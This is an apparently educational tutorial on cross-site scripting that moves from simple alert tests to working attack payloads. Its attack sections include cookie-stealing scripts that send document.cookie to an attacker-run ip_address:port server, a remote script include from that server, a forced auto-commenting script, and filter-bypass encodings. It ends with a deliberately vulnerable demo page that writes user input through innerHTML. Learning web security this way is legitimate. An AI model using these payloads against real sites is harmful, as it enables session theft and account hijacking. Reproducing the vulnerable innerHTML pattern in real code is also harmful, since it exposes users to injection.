

Cross Site Scripting Attacks (XSS)



Definition: Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

DISCLAIMER: Before we start you must know that attempting a Cross-Site Scripting Attack on a public website, which is not created for that reason is ILLEGAL!

Contents

1. Non-Persistent Scripts	4
1.1 Definition	4
1.2 Search bar	4
1.2.1 Change Font	4
1.2.2 Change Color	4
1.2.3 Alert Window	4
2. Persistent Scripts	5
2.1 Definition	5
2.2 Comment section	5
2.2.1 Alert Window	5
2.2.2 Website Redirection	5
3. Cross-Site Scripting Attack	6
3.1 How to know which category to choose	6
3.2 Do I need to know JavaScript?	6
4. Attacks	7
4.1 Localhost server setup	7
4.2 Cookie Stealing / Comment Section	7
4.2.1 Response on server	7
4.2.2 Alert Window / onmouseover()	7
4.2.3 Response using fake link	7
4.3 Force Commenting / Comment Section	8
4.3.1 Explanation	8
4.3.2 Payload	8
5. Bypassing Filters	9
5.1 Explanation	9
5.2 fromCharCode() / Comment Section	9
5.2.1 Alert Window	9
5.2.2 Alert Window using fake link	9
5.3 Special Characters / Comment Section	9
5.3.1 Alert Window	10
5.4 ASCII encoded URL / Comment Section	10

5.4.1 Alert Window	10
5.4.2 Alert Window using fake link	11
5.5 Hex encoded URL / Search bar	11
5.5.1 Alert Window	11
5.6 Remote Call / Comment Section	11
5.6.1 Example	11
5.7 IMG tag / Comment Section	12
5.7.1 Alert Window	12
5.7.2 Alert Window / onerror()	12
6. Code	13
7. Bibliography	15

1. Non-Persistent Scripts

1.1 Definition

Non-Persistent Scripts, also known as **Reflected Scripts**, is a type of Attack where the attacker does not send the payload to the web application. Instead, they send it to the victim in the form of a URL that includes the payload (obfuscated). The victim clicks the URL and opens the vulnerable web application, executing the payload.

1.2 Search bar

```
localhost/file.php?search=
```

1.2.1 Change Font

- It is used in this format:

```
<i>
```

- If it is executed successfully, all the text should get the font Italic.

```
localhost/file.php?search=<i>
```

1.2.2 Change Color

- It is used in this format:

```
<font color="blue">
```

- If it is executed successfully, all the text should be blue.

```
localhost/file.php?search=<font color="blue">
```

1.2.3 Alert Window

- It is used in this format:

```
<script>alert("XSS")</script>
```

- If it is executed successfully, we will get a window saying "XSS"

```
localhost/file.php?search=<script>alert("XSS")</script>
```

2. Persistent Scripts

2.1 Definition

Persistent Scripts, also known as **Stored Scripts**, arise when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

2.2 Comment section

2.2.1 Alert Window

- It is written as a comment in this format:
`<script>alert("XSS")</script>`
- If it is executed successfully, we will get a window saying "XSS"

```
Nice website!<script>alert("XSS")</script>
```

Submit

2.2.2 Website Redirection

- It is written as a comment in this format:
`<script>window.location='https://www.google.com/'</script>`
- If it is executed successfully, we will be redirected to a website

```
Nice website!<script>window.location='https://www.google.com/'</script>
```

Submit

3. Cross-Site Scripting Attack

3.1 How to know which category to choose

Well, there are some steps that need to be checked, before you start creating your payload. First, you must take a look at the website's functionalities. Check for any comment sections, any search bars, feedback section, or any other input like forms, where you can type something. These are the most basic and common **Attack Surfaces** that a user can insert malicious JavaScript code. As described above, when you notice any of these fields, you will be sure what Script category you can use.

For example, if you visit a site, in which people just talk and you can type a message in a text area, then you will know that you must try out a Stored Script. Another example is a movie site, where you can find a search bar available to "search for a movie", while you can simply try using a Reflected Script.

3.2 Do I need to know JavaScript?

XSS Attacks can vary from very basic to very complicated. When you want to start studying about XSS, you will first notice some very easy scripts like these given above. This is the best way to get in Cross-Site Scripting and understand the process. It would be easy to type this kind of JavaScript code. However, it is not going to stay that easy... If you would like to find some XSS bugs on a public website, you will need to study JavaScript better, in order to understand what is happening and to craft your own payloads.

Don't forget that the following scripts are just an introduction to Cross-Site Scripting. Crafting your own payload may require a combination of all these and of course more advanced stuff. However, there is a huge variety of crafted XSS payloads, basic and intermediate, which you can simply brute force in some Capture the Flag competitions, but apart from these challenges, you will not have big success.

4. Attacks

4.1 Localhost server setup

To try stealing some cookies, we are going to need a site to send them to. So, we can create one very simple using these commands:

- \$ ip addr
- \$ python3 -m http.server port_number

After we follow these steps, we can move on the Attack, and we can return useful information on our terminal server. What we are going to need is our ip and the server port so we can forward the information to us.

4.2 Cookie Stealing / Comment Section

4.2.1 Response on server

- It is written as a comment in this format:
`<script>location.href='https://ip_address:port/cookie?='+escape(document.cookie)</script>`
- If it is executed successfully, we will get a response on our terminal server which will contain the cookie

```
<script>location.href='https://ip_address:port/cookie?='+escape(document.cookie)</script>
```

Comment

4.2.2 Alert Window / onmouseover()

- It is written as a comment in this format:
`Hover`
- If it is executed successfully, we will get an alert window pop up containing the cookie

```
<a onmouseover="alert(document.cookie)">Hover</a>
```

Comment

4.2.3 Response using fake link

- It is written as a comment in this format:
`http://www.youtube.com/`
- If it is executed successfully, when someone clicks on the link, we will get a response on our terminal server which will contain the cookie

```
Check this link:<a href="http://www.youtube.com"
onmouseover="window.location='https://ip_address:port/cookie?=' +
escape(document.cookie)'">http://www.youtube.com/</a>
```

Submit

Your Input:

Check this link:<http://www.youtube.com/>

4.3 Force Commenting / Comment Section

4.3.1 Explanation

We need to use “Inspect Elements”, so that we find the area to put the comment and the button to submit it automatically. We can search for elements using their id, or else we can search by their name. If we find what we need we can move on to create the function for the Attack.

4.3.2 Payload

- It is written as a comment in this format:
<script>window.onload=function(){document.getElementByName('comment')[0].innerHTML='This is a comment!';document.getElementById('post').submit();} </script>
- If it is executed successfully, we will notice automated comments on the website each time it refreshes

```
http://localhost/file.php?value=
<script>window.onload=function()
{document.getElementByName('textInput')[0].innerHTML='This
is a comment!';document.getElementById('post').submit();}
</script>
```

Submit

5. Bypassing Filters

5.1 Explanation

Websites may have some filters, which prevents the user from putting specific characters or words, while executing an XSS Attack. So here are some ways to bypass these filters.

5.2 fromCharCode() / Comment Section

In the following examples, what we need to do is to convert a string to its ASCII code equivalent. So, the word “XSS” in ASCII code should be 88 83 83.

5.2.1 Alert Window

- It is written as a comment in this format:
`<script>alert(String.fromCharCode(88,83,83))</script>`
- If it is executed successfully, we will get a window saying “XSS”

```
<script>alert(String.fromCharCode(88,83,83))</script>
```

Comment

5.2.2 Alert Window using fake link

- It is written as a comment in this format:
`Click Here!`
- If it is executed successfully, when we click the link, we will get a window saying “XSS”

```
<a href=javascript:alert(String.fromCharCode(88,83,83))>Click Here!</a>
```

Comment

User: [Click Here!](#)

```
javascript:alert(String.fromCharCode(88,83,83))
```

5.3 Special Characters / Comment Section

In this payload we are trying to bypass the Double Quotes characters, by replacing them as shown below.

5.3.1 Alert Window

- It is written as a comment in this format:
Click Here!
- If it is executed successfully, when we click the link, we will get a window saying “XSS”

```
<a href=javascript:alert(&quot;XSS&quot;)>Click Here!</a>
```

Comment

User: [Click Here!](#)

```
javascript:alert("XSS")
```

5.4 ASCII encoded URL / Comment Section

When most of the words we want to use are not working, we can encode the same payload and then try again.

5.4.1 Alert Window

- It is used in this format:
Click Here!
- If it is executed successfully, when we click the link, we will get a window saying “XSS”

```
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>Click Here!</a>
```

Comment

User: [Click Here!](#)

```
javascript:alert("XSS")
```

5.4.2 Alert Window using fake link

- In this example we tried to encode the letter a so we can bypass the javascript word filter
- It is used in this format:

```
<a href="jav&#x09;ascript:alert('XSS');">Click Here!</a>
```
- If it is executed successfully, when we click the link, we will get a window saying "XSS"

```
<a  
href="jav&#x09;ascript:alert("XSS");">  
Click Here!</a>
```

Comment

5.5 Hex encoded URL / Search bar

If we put Hex encoded payload as a value on the search bar and submit a GET request, the search bar value will be decoded and the command will be successfully executed, as shown below.

localhost/file.php?search=

5.5.1 Alert Window

- It is used in this format:

```
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e
```
- If it is executed successfully, when we refresh the page, we will get a window saying "XSS"

localhost/file.php?search=%3c%73%63%72...%69%70%74%3e

Also, the search bar will now have the value:

localhost/file.php?search=<script>alert%28%27xss%27%29<%2fscript>

5.6 Remote Call / Comment Section

We can call a big JavaScript program, by saving it with the .js extension on our server.

5.6.1 Example

- It is used in this format:

```
<script type="text/javascript"  
src="http://ip_address:port/script.js"></script>
```

- If it is executed successfully, when we submit the comment, the site will do what the js file says

```
<script type="text/javascript"
src="http://ip_address:port/script.js"></script>
```

Comment

5.7 IMG tag / Comment Section

This tag works like the href tag that we used above. It has different uses, such as remote request and fake image upload. An attack using this tag can occur when the victim clicks on it or hovers it.

5.7.1 Alert Window


- It is used in this format:

```
<img src=x onmouseover=alert("XSS")>
```

- If it is executed successfully, when we submit the comment and we hover the image, it will pop up an alert window

```
<img src=x onmouseover=alert("XSS")>
```

Comment

User: 

5.7.2 Alert Window / onerror()


- It is used in this format:

```
<img src=x onerror="alert(String.fromCharCode(88,83,83))"></img>
```

- If it is executed successfully, when we submit the comment, it will instantly pop up an alert window, since there was an error with the image

```
<img src=x
onerror="alert(String.fromCharCode(88,83,83))">
</img>
```

Comment

User: 

6. Code

Note: Not every XSS Attack example works here.

```
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
6.     <title>Vulnerable XSS Site</title>
7. </head>
8. <body>
9.     <!-- Search Section -->
10.    <h2>Search Section</h2>
11.    <form id="searchForm" action="" method="GET">
12.        <input type="text" id="search" name="search"
placeholder="Search..."><br><br>
13.        <button type="submit">Search</button>
14.    </form>
15.    <p id="searchResult"></p>
16.    <hr>
17.
18.    <!-- Comment Section -->
19.    <h2>Comment Section</h2>
20.    <form id="commentForm">
21.        <textarea id="comment" rows="4" cols="50" placeholder="Enter your
comment..."></textarea><br><br>
22.        <button type="button" onclick="submitComment()">Comment</button>
23.    </form><br>
24.    <div id="commentSection"></div>
25.    <hr>
26.
27.    <!-- Cookie Management Section -->
28.    <h2>Cookie Management</h2>
29.    <button onclick="setCookie()">Set Cookie</button>
30.    <button onclick="showCookie()">Show Cookie</button>
31.    <button onclick="deleteCookie()">Delete Cookie</button>
32.    <p id="cookieDisplay"></p>
33.
34.    <script>
35.        // Function for submitting comments
36.        function submitComment() {
37.            var comment = document.getElementById('comment').value;
38.            var commentDiv = document.createElement('div');
39.            commentDiv.innerHTML = "<strong>User:</strong> " + comment;
40.            document.getElementById('commentSection').appendChild(commentDiv);
41.            document.getElementById('comment').value = '';
42.        }
43.
44.        // Function to handle the search query from the URL
45.        const params = new URLSearchParams(window.location.search);
46.        if (params.has('search')) {
47.            const searchQuery = params.get('search');
48.            console.log("Search query:", searchQuery);
49.            document.getElementById('searchResult').innerHTML =
`<strong>Searched:</strong> ${searchQuery}`;
50.        }
51.
52.        // Cookie Management Functions
53.        function setCookie() {
54.            const d = new Date();
55.            d.setTime(d.getTime() + (24*60*60*1000));
56.            let expires = "expires="+ d.toUTCString();
57.            const randomHex = Math.random().toString(16).substr(2, 10);
58.            document.cookie = "userCookie=" + randomHex + ";" + expires + ";
path=/";
59.            document.getElementById('cookieDisplay').innerHTML = "Cookie has been
set.";
```

```

60.     }
61.
62.     function showCookie() {
63.         const name = "userCookie=";
64.         const decodedCookie = decodeURIComponent(document.cookie);
65.         const ca = decodedCookie.split(';');
66.         let cookieValue = "No cookie found!";
67.         for(let i = 0; i < ca.length; i++) {
68.             let c = ca[i].trim();
69.             if (c.indexOf(name) == 0) {
70.                 cookieValue = c.substring(name.length, c.length);
71.             }
72.         }
73.         document.getElementById('cookieDisplay').innerHTML = "Cookie Value: " +
cookieValue;
74.     }
75.
76.     function deleteCookie() {
77.         document.cookie = "userCookie=; expires=Thu, 01 Jan 1970 00:00:00 UTC;
path=/;";
78.         document.getElementById('cookieDisplay').innerHTML = "Cookie has been
deleted!";
79.     }
80. </script>
81. </body>
82. </html>

```

7. Bibliography

- <https://owasp.org/www-community/attacks/xss/>
- <https://www.invicti.com/learn/reflected-xss-non-persistent-cross-site-scripting/>
- <https://portswigger.net/web-security/cross-site-scripting/stored>
- <https://www.youtube.com/playlist?list=PL1A2CSdiySGIRec2pvDMkYNi3iRO89Zot>